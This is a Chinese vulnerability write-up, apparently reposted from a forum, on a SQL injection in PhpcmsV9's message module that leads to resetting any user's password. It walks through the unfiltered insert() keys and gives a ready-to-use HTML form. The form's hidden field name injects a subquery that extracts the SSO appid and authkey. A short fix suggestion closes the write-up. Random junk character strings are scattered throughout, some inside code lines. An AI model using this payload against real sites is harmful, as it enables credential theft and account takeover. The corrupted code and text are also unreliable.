PhpcmsV9 SQL注射修改任意用户密码漏洞

admin

简要描述：
7 f+ o$ B# |& u' q' u
5 a; P0 [, D' Z1 M/ U第二发如约来到，感谢大家的关注，在第二发中使用了一个无限制的SQL注射，最终目的可以修改任意用户密码，建议确认安全危害等级为高。
/ {$ X+ N% {6 W: M$ p) _
) T/ N& d- ?0 m, q明天再更新下一个漏洞。
详细说明：
在/phpcms9/phpcms/modules/message/index.php中有代码如下：

0 G% h0 v& f, l6 J$messageid = $this->message_db->insert($_POST['info'],true);


insert方法是key value的，代码如下：

; {( ^! m$ M. F1 A/ Upublic function insert($data, $table, $return_insert_id = false, $replace = false) {
/ O' A/ C7 Z1 e" W& |3 V                if(!is_array( $data ) || $table == '' || count($data) == 0) {
                        return false;
7 y6 ~! n( D6 J8 S3 i! r  e) s6 x                }
7 M  k$ a( ^* q: J1 \               
                $fielddata = array_keys($data);
- j! i! q& Z; l! j& u+ P& a/ B                $valuedata = array_values($data);
                array_walk($fielddata, array($this, 'add_special_char'));
                array_walk($valuedata, array($this, 'escape_string'));
2 T. q, h# b$ E1 K) \               
                $field = implode (',', $fielddata);
                $value = implode (',', $valuedata);
0 }9 [' K- l- I
                $cmd = $replace ? 'REPLACE INTO' : 'INSERT INTO';
                $sql = $cmd.' `'.$this->config['database'].'`.`'.$table.'`('.$field.') VALUES ('.$value.')';
                $return = $this->execute($sql);
                return $return_insert_id ? $this->insert_id() : $return;
1 r& F/ [& D7 F, Z5 N% R9 `% ~        }
8 v! z' `# g; v1 C( M9 a4 f

# C  |( S6 K6 D& a嗯，很遗憾的是
& [2 q# f% H1 U
array_walk($fielddata, array($this, 'add_special_char'));
! h, z; X8 r" j
( f9 ~7 x( m/ P3 V
' [  L' i: a0 V, \/ B) |; Z中并没有对key做任何的过滤，所以，第一段提到的代码导致了一个SQL注射漏洞 ：（。

到此，为了poc一下，我读取了我本地的authkey，接下来我已经可以重置任意用户密码了，后面的事情我就没有演示了。

漏洞证明：
4 M2 b' j( `5 E7 @读出了phpsso_server的appid和authkey，然后可以调用client.class.php中的ps_member_edit函数修改任意用户密码。

9 c- |" c& Y! |) R7 m7 O9 s6 F  e
6 i- @/ M7 [3 j5 f表单如下：用户名什么的得自己改一改。
<form name="myform" action="http://localhost/phpcms9/index.php?m=message&c=index&a=reply" method="post" id="myform">
<table width="100%" cellspacing="0" class="table_form">
& t2 n4 p0 t3 N2 W, @2 K# o3 D5 W<tr>
<th>标 题：</th>
) u0 a: l% m! t7 y8 {<td><input name="info[subject]" type="text" id="subject" size="30" value="Re: hh"  class="input-text"/></td>
</tr>
% W  e, A6 K  \+ X1 Y. ~$ \<tr>
<th>内 容：</th>
3 O1 ~/ u' Q; _<td><textarea name="info[content]"  id="con" rows="5" cols="50"></textarea></td>
+ U. c' ]4 E5 ?% h  m6 V, [+ h9 X</tr>
/ s+ `1 n  h; ?7 m+ {1 Z1 n" b<input type="hidden" name="info[replyid]" value="2" />
<input type="hidden" name="info[send_to_id]" value="cc" />
<input type="hidden" name="info[send_from_id]" value="hh">
<!-- 漏洞的利用重点在这里开始 -->
3 s- m& V) C% C- V' L<input type="hidden" name="info[`status`) values ((Select group_concat(appid,CHAR(42),authkey) from v9_sso_applications),1,1,1,CHAR(104, 104),1)#]" value="cc" />
<!-- 漏洞的利用重点在这里结束 -->
<tr>
5 O, _% |. d" K<th>验证码：</th>
<td><input name="code" type="text" id="code" size="10"  class="input-text"/> <img id='code_img' onclick='this.src=this.src+"&"+Math.random()' src='http://localhost/phpcms9/api.php?op=checkcode&code_len=4&font_size=14&width=110&height=30&font_color=&background='></td>
</tr>
<tr>
<td></td>
<td colspan="2"><label>
<input type="submit" name="dosubmit" id="dosubmit" value="确 定" class="button"/>
</label></td>
' {7 N9 ^: U# ^- a" m! `</tr>
2 a9 c* x; l- w5 B; b! U5 X</table>
</form>
在add_special_char函数内对key做过滤就可以了。

' Z. @( u0 @* P+ b1 M# i3 }' y